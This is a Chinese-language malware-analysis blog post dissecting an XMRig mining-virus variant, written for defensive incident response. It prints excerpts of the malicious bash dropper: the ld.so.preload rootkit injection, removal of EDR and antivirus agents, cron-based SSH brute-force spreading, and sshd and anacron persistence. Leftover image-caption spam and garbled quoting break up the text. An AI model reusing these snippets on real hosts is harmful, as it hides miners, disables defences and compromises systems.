crontab -l-抽丝剥茧–XMRig变种挖矿病毒分析

一、开篇

Hi，我是观宇战队的kenant，某应急响应一线工程师发来病毒样本，经分析为XMRig挖矿病毒变种，XMRig是目前市面上最流行、支持挖矿算法最多、通用性最好的CPU挖矿软件，也是门罗币挖矿最常用软件，分析XMRig病毒及其变种具有重要的技术意义，本文主要从病毒释放、反调试、挖矿执行、横向扩散、持久化、痕迹清理等维度进行分析。

二、分析过程

2.1、分析背景

安全设备发出挖矿病毒外连的告警，但是针对告警的主机，存在使用top命令无法发现占用高CPU或内存的进程、ps命令无法发现恶意进程、netstat命令无恶意ip连接等行为，给挖矿程序的定位带来了困难；后续在定位到恶意文件所在目录时，使用ls -a命令无法显示该文件存在，但可以使用cat命令显示该文件内容。

2.2、rootkit行为分析

由于现场工程师在排查时未发现高CPU或内存的占用进程，但确实发现存在挖矿病毒以及相应配置文件，因此预判该挖矿病毒很可能存在rootkit行为。

在客户现场发现的挖矿病毒主要包含Xbash、Cronman以及挖矿病毒可执行程序三个恶意文件，分别对现场发现的病毒相关文件进行分析如下。

2.2.1 Xbash文件分析

首先是一个Xbash的文件，部分内容截取如下。

在图中我们可以看到，最上面的三行存在注释，经分析发现是Makeself2.4.5生成的可执行软件。这时候我们就可以进一步搜索寻找Makeself的功能。

经查询，Makeself类似于一个打包软件，可以将一个文件夹的内容打包成一个可执行程序，使用Makeself打包的程序包含两段内容，前面的内容是Makeself实现对应功能对应的bash函数，其后会跟一段二进制的数据，对应打包压缩后文件夹的二进制数据。

使用Makeself打包运行有很多优势，比如：可以打包一个文件夹中的多个内容；可以自定义解压的文件夹；可以使用参数让该程序运行时不出现在进程中等等。这也是攻击者使用该工具打包运行的原因。

之后我们通过Xbash将压缩的文件解压缩出来，由于该文件为挖矿病毒的前置文件，在不知晓情况的前提下，建议使用–noexec以及–confirm选项，不让其解压缩后直接执行，否则主机有感染挖矿病毒的风险。笔者这里采用的下图所示方式解压缩。

crontab命令_crontab -l_crontab-e

就可以在当前目录下得到之前打包的文件夹prog，该文件夹中有需要执行的恶意bash文件cronman。

2.2.2 可执行挖矿程序分析

当时对cronman程序进行初步分析，发现其存在下载挖矿程序的行为，下载的文件包括libgcc_a、xfit.sh、xfitaarch.sh。文件均为ELF文件，当时主要想分析其rootkit的行为，因此将分析重心集中到三个可执行文件上了。所以笔者这里按照当时的分析顺序先对ELF文件进行分析，后续再对cronman程序进行分析。

由于有三个可执行程序，首先想到的是分析一下三个程序之间的关联。xfit.sh和xfitaarch.sh文件名字不同，且出现了arch，自然就联想到二者可能是不同架构下的可执行程序，后续根据cronman启动程序验证了这点，对应的代码如下。

if [ $(arch) == “aarch64” ]; then

DOWNLOAD_FILE_NAME=”xfitaarch”

else

DOWNLOAD_FILE_NAME=”xfit”

又因为libgcc_a文件的大小与xfit.sh的文件大小相同，预估为同一个可执行程序，因此我们通过hash计算工具计算一下文件hash进行对比，可以发现二者hash值一致，因此到这里，可执行程序我们只需分析libgcc_a即可。

crontab -l_crontab命令_crontab-e

然后准备通过动静结合进行分析的方式，看看能否从可执行程序中发现实现rootkit的方式。

首先可以利用已有的成熟沙箱对可执行程序进行扫描，初步确定该可执行程序的可疑行为以及病毒家族，为后续分析提供便利。

这里先通过微步沙箱进行了样本分析，发现其存在的可疑行为包括：

1. XMRig挖矿程序

2. 通过/sys文件系统获取CPU信息

3. 使用uname系统调用获取内核信息

4. 通过/proc文件系统获取内存信息

5. 通过/proc文件系统获取CPU信息

6. 通过/proc文件系统获取系统挂载的设备信息

crontab -l_crontab命令_crontab-e

看到这里笔者开始疑惑，这个沙箱并没有分析出该可执行程序的rootkit行为，系统敏感操作也未发现相关行为，当然也不排除这个病毒有反沙箱的能力。因此为了挖掘事件真相，我们进一步对该可执行程序进行分析。我们开始尝试使用IDA逆向该病毒程序，看能否获得一些有用的信息。因此尝试使用nm查看该病毒程序是否去掉了符号表。

crontab-e_crontab -l_crontab命令

经尝试发现该程序应该是去掉了符号表，后续开始寻找恢复符号表的方法，否则所有的函数均为sub开头的函数，根本无法进行分析，参见下图，所有函数均为sub开头的函数，无法进行有效分析。

crontab-e_crontab命令_crontab -l

由于前面运行沙箱之后，我们知道该挖矿病毒属于xmrig家族，xmrig的挖矿程序是开源的，其符号表是未去除的，只要我们可以找到相同版本的病毒程序，通过插件根据其已有的符号表以及函数签名生成一个符号表再导入至需分析的程序即可。于是我尝试使用虚拟机运行该挖矿程序（运行之前需做好网络隔离，避免病毒程序在局域网或公网进行传播），运行截图如下。

报错显示未找到配置文件，无法运行，因此我们在Cronman中找到了对应的配置文件（可以直接在cronman中搜索对应的json文件，如config.json），放在同一个目录，然后继续运行。

crontab命令_crontab-e_crontab -l

然后我们可以看到许多对恢复符号有用的信息，包括病毒的版本号，编译器版本号，使用的库名以及版本。在知晓挖矿程序版本后，笔者又去下载了同版本的挖矿程序，发现文件大小不同，预估这个挖矿程序是基于原始挖矿程序的变种，进行了二次开发，然后我又运行了原版的挖矿程序来比较分析。

crontab-e_crontab -l_crontab命令

可以发现两个挖矿程序的版本相同，但github上面挖矿程序的编译器版本与libgcc_a的不同，同时libgcc_a多了hwloc这个库。经过搜索，hwloc这个库主要功能是解决不同架构中查询硬件资源的问题。多出来的这个库API的调用也体现在了挖矿程序的运行界面中，可以明显看到libgcc_a多了CPU信息、内存信息等的显示。基于以上信息，笔者尝试通过rizzo插件以及符号制作的方式结合已有源码进行符号还原，大概10000个函数能够还原符号的仅2000个左右。大概还有4/5的函数无法识别，与编译器版本、编译环境以及插件的匹配方式都有关系。

接下来我又尝试了IDA自带的Lumina进行函数识别，由于这个库所有人都可以push数据，所以可能准确率较低，比我之前自己制作符号文件的方式还原率更低。最后采用了IDA的Finger插件，由于是使用阿里的符号特征库，该特征库公众人员无法提交特征，因此准确率较高，且命名较规范，还原出来的可用性较高，大概10000个函数能够识别8000多个。

还原效果如下图所示：

还原后对该可执行程序进行初步分析，未发现rootkit相关字符串及相关函数，根据主函数内容分析，发现其只是在基础挖矿程序的基础上添加了一些选项，同时增加了一些CPU以及内存信息的显示，其他功能与挖矿程序大同小异。然后我尝试在虚拟机直接运行挖矿程序而非通过脚本启动，看是否会出现rootkit相关行为，结果发现ps可以发现该进程，与一线工程师的发现存在差异。

这说明我们需要分析的rootkit行为并不在这个可执行程序中实现。此时开始针对cronman程序进行分析。

2.2.3 Cronman程序分析

接下来对cronman程序进行分析，用编辑器打开可以发现是一个bash文件。

crontab -l_crontab-e_crontab命令

由于文件比较大，一行行阅读效率比较低，笔者决定先将这个bash文件放到沙箱中去看看是否能够有什么发现，这一放有了意外发现，之前没有人提交过这个bash程序到沙箱中，并且只有一款杀毒引擎检测到了挖矿病毒的行为。然后在行为分析部分，发现疑似实现rootkit的地方，那就是对/etc/ld.so.preload文件的访问。

对linux系统熟悉一点的朋友可能知道，linux系统在进程启动后，会按照一定的顺序加载动态库：

1、加载环境变量LD_PRELOAD指定的动态库

2、加载文件/etc/ld.so.preload指定的动态库

3、搜索环境变量LD_LIBRARY_PATH指定的动态库搜索路径

4、搜索路径/lib64下的动态库文件

因此通过修改/etc/ld.so.preload可以修改程序启动后加载的动态库从而实现hook行为。由于沙箱未对该程序的详细行为给出结果，接下来我们进一步根据已知信息进行行为分析，通过对/etc/ld.so.preload字符串进行查找，定位到了下列代码。

if [ $(arch) == “aarch64” ]; then

grep ‘/usr/local/lib/pkitarm.so’ /etc/ld.so.preload >/dev/null 2>&1 || echo ‘/usr/local/lib/pkitarm.so’ >>/etc/ld.so.preload

grep ‘/usr/local/lib/fkitarm.so’ /etc/ld.so.preload >/dev/null 2>&1 || echo ‘/usr/local/lib/fkitarm.so’ >>/etc/ld.so.preload

grep ‘/usr/local/lib/skitarm.so’ /etc/ld.so.preload >/dev/null 2>&1 || echo ‘/usr/local/lib/skitarm.so’ >>/etc/ld.so.preload

else

grep ‘/usr/local/lib/pkit.so’ /etc/ld.so.preload >/dev/null 2>&1 || echo ‘/usr/local/lib/pkit.so’ >>/etc/ld.so.preload

grep ‘/usr/local/lib/fkit.so’ /etc/ld.so.preload >/dev/null 2>&1 || echo ‘/usr/local/lib/fkit.so’ >>/etc/ld.so.preload

grep ‘/usr/local/lib/skit.so’ /etc/ld.so.preload >/dev/null 2>&1 || echo ‘/usr/local/lib/skit.so’ >>/etc/ld.so.preload

上述代码的功能为根据架构向/etc/ld.so.preload文件中写入对应架构的.so文件。后续通过与一线工程师同步相关情况，清除对应so文件后，系统命令恢复正常，到此rootkit的行为分析结束。

2.3、Cronman其他行为

前面对该挖矿病毒的rootkit行为分析完成，下面简单对cronman的其他恶意行为进行归纳概括，可供各位读者后续在处理挖矿病毒时参考。

2.3.1环境测试部分

该病毒对环境测试主要包括以下行为：

1、测试网络连通情况，同时进行相关依赖软件的安装

ping -c 1 -q 8.8.8.8 >&/dev/null

if [[ $? -eq 0 ]]; then

which yum >/dev/null 2>&1

if [[ $? -eq 0 ]]; then

packageList=”nc wget xinetd”

for packageName in $packageList; do

rpm –quiet –query “$packageName” || sudo yum install -y “$packageName” >/dev/null 2>&1

done

else

packageList=”nc wget xinetd”

for packageName in $packageList; do

dpkg -l | grep -qw “$packageName” || sudo apt-get install -y “$packageName” >/dev/null 2>&1

done

2、进行杀毒软件识别，同时尝试对杀毒软件进行卸载或删除，下面列举部分代码供参考，主要是通过对文件存储位置的定位或进程的定位

if [ -f /KvEdr/uninstall.sh ]; then

/KvEdr/uninstall.sh

rm -fr /KvEdr

if [ -f /sangfor/edr/agent/bin/eps_uninstall.sh ]; then

/sangfor/edr/agent/bin/eps_uninstall.sh

fi //基于文件的定位

ps cax | grep guard_client

if [ $? -eq 0 ]; then

pkill guard_client

fi //基于进程信息定位

3、检查firewall以及iptables的安装情况，根据实际情况开放对应端口，下面部分代码功能为检测firewall以及iptables的安装情况

if [ -n “$(which yum 2>/dev/null)” ]; then

if rpm -qa | grep -qw iptables; then

CHECKIPTABLES=1

else

CHECKIPTABLES=0

if rpm -qa | grep -qw firewalld; then

CHECKFIREWALLD=1

else

CHECKFIREWALLD=0

else

if dpkg -l | grep -qw iptables; then

CHECKIPTABLES=1

else

CHECKIPTABLES=0

if dpkg -l | grep -qw firewalld; then

CHECKFIREWALLD=1

else

CHECKFIREWALLD=0

2.3.2横向扩散部分

该病毒实现横向扩散行为主要通过下载开源spirit软件，根据设置的时间定期进行ssh口令爆破。

MINUTE=$(cat /usr/spirit/min)

HOUR=$(cat /usr/spirit/hour)

if [ -n “$(which printf)” ]; then

crontab -l | grep -q ‘spirit’ && echo ‘entry exists’ || (

crontab -l

printf “$MINUTE */$HOUR * * * /usr/spirit/spirit.sh;r0cn”

) | sort -u | crontab –

else

crontab -l | grep -q ‘spirit’ && echo ‘entry exists’ || (

crontab -l

echo “$MINUTE */$HOUR * * * /usr/spirit/spirit.sh”

) | sort -u | crontab –

2.3.3持久化部分

该病毒在实现持久化部分主要表现为以下几个行为：

1、对/etc/init.d/文件夹中写入恶意启动程序实现开机自启动

2、向etc/xinetd.d/文件夹写入timesync、http_stream、https_stream、smtp_forward几个配置文件，实现将80、443、708、757、8080端口的访问转发到远程恶意主机上，通过这样的配置，当有客户端对本机的相应端口访问时，就会重定向至恶意主机实现代理，下面展示部分配置文件

cat >${file}

#echo “‘${param[1]} yes’ was added to ${file}.”

echo “${param[2]} yes” >>${file}

#echo “‘${param[2]} yes’ was added to ${file}.”

echo “${param[3]} .ssh/g” >>${file}

#echo “‘${param[3]} .ssh/authorized_keys’ was added to ${file}.”

echo “${param[4]} yes” >>${file}

#echo “‘${param[4]} yes’ was added to ${file}”

SSHVER=$(ssh -V 2>&1 | sed ‘s/OpenSSH_([0-9]+).*/1/’)

if [ “$SSHVER” -ge “7” ]; then

echo “${param[5]} ssh-rsa” >>${file}

#echo “‘${param[5]} ssh-rsa’ was added to ${file}”

echo “${param[6]} ssh-rsa” >>${file}

#echo “‘${param[6]} ssh-rsa’ was added to ${file}”

4、向/etc/cron.hourly/、/etc/cron.daily/、 /var/spool/cron/crontabs等文件夹写入定时任务

grep ‘/etc/cron.daily/xbash’ /etc/cron.hourly/0anacron >/dev/null 2>&1 || printf “/etc/cron.daily/xbash >/dev/null 2>&1;r0cn” >>/etc/cron.hourly/0anacron

2.3.4痕迹清理部分

该病毒通过history命令以及将列表中的日志文件删除从而进行痕迹清理。